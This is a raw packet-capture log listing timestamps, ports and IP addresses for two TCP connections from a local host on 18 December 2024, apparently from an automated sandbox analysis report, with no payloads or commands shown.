Dec 18, 2024 21:30:27.291863918 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.292035103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.292083979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.292917967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.293092966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.293131113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.294048071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.294086933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.294148922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.295078993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.295114994 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.295238018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.296171904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.296211958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.296360970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.296392918 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.297177076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.297344923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.297386885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.299048901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.299207926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.299248934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.299772024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.299813032 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.300256968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.300961971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.301006079 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.301290989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.302162886 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.302202940 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.302758932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.302794933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.302813053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.302891970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.303189039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.303232908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.303575993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.303843021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.303901911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.304595947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.304637909 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.304758072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.305680990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.305727005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.344717026 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.344763041 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.344780922 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.344826937 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.344830036 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.344850063 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.344868898 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.344878912 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.344892025 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.344907999 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.346194983 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.374608994 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.374629974 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.374671936 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.374703884 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.374732971 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.374751091 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.374763012 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.378206015 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.414326906 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.414448977 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.414501905 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.414530993 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.414552927 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.414566994 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.439826965 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.439873934 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.439958096 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.439980030 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.440000057 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.440017939 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.444638968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.444777966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.444850922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.445031881 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.445354939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.445403099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.446163893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.446307898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.446350098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.447331905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.447376013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.447510958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.448358059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.448401928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.448647022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.449518919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.449563026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.449702978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.449742079 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.450623035 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.450784922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.450829029 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.451693058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.451864004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.451906919 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.452708006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.452748060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.452882051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.453735113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.453795910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.453836918 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.454258919 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.454673052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.454740047 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.454910994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.454957962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.455605030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.455662966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.455763102 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.455802917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.456429958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.456480026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.456548929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.456588984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.457324028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.457374096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.457483053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.457524061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.458169937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.458218098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.458287001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.458328009 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.458981037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.459023952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.459093094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.459142923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.459830999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.459871054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.459996939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.460036993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.460635900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.460680008 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.460777998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.460817099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.461756945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.461802006 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.461894989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.461932898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.462832928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.462873936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.463021040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.463059902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.463795900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.463835955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.463922977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.463962078 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.464662075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.464701891 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.464765072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.464802027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.465437889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.465477943 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.465583086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.465620041 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.466396093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.466439009 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.466538906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.466592073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.467509985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.467551947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.467653990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.467693090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.468501091 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.468560934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.468632936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.468699932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.469717979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.469773054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.469837904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.469885111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.470635891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.470743895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.470788956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.470834017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.471712112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.471765995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.471857071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.471904039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.472755909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.472811937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.472898960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.472943068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.473803997 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.473858118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.473979950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.474023104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.474853992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.474929094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.475064039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.475115061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.475953102 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.475997925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.476135015 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.476187944 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.477047920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.477092981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.477159023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.477197886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.478035927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.478075027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.478225946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.478269100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.479088068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.479206085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.479271889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.479315996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.480164051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.480210066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.480298042 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.480338097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.481216908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.481264114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.481421947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.481466055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.482537985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.482584000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.482757092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.482799053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.484369040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.484419107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.484441042 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.484478951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.485542059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.485610962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.485737085 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.485852957 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.486443043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.486534119 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.486565113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.486654043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.487349033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.487426043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.487426996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.487493038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.488202095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.488277912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.488305092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.488388062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.489042044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.489084959 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.489110947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.489252090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.489773989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.489840031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.489866018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.489878893 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.490767002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.490823030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.491056919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.491106987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.491847992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.491899014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.492023945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.492065907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.492847919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.492888927 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.493019104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.493061066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.493980885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.494021893 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.494187117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.494227886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.495018005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.495060921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.495206118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.495244980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.496045113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.496104956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.496185064 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.496221066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.497070074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.497112036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.497273922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.497312069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.498128891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.498178959 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.532366991 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.532430887 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.532475948 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.532510996 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.532526970 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.532548904 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.554164886 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.554203033 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.554254055 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.554286957 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.554303885 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.554373980 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.571125031 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.571156979 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.571222067 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.571253061 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.571274042 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.571288109 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.634618998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.634712934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.634793997 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.634830952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.635214090 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.635287046 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.635529041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.635565996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.636501074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.636518955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.636563063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.637104988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.637140989 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.637489080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.637531996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.638097048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.638144970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.638293028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.638330936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.639034033 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.639071941 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.639116049 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.639158964 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.639177084 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.639219046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.639240980 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.639254093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.639569044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.639605999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.640212059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.640245914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.640364885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.640398979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.641407967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.641441107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.641685009 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.641720057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.642323017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.642358065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.642477036 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.642509937 CET	49808	80	192.168.2.5	31.41.244.11
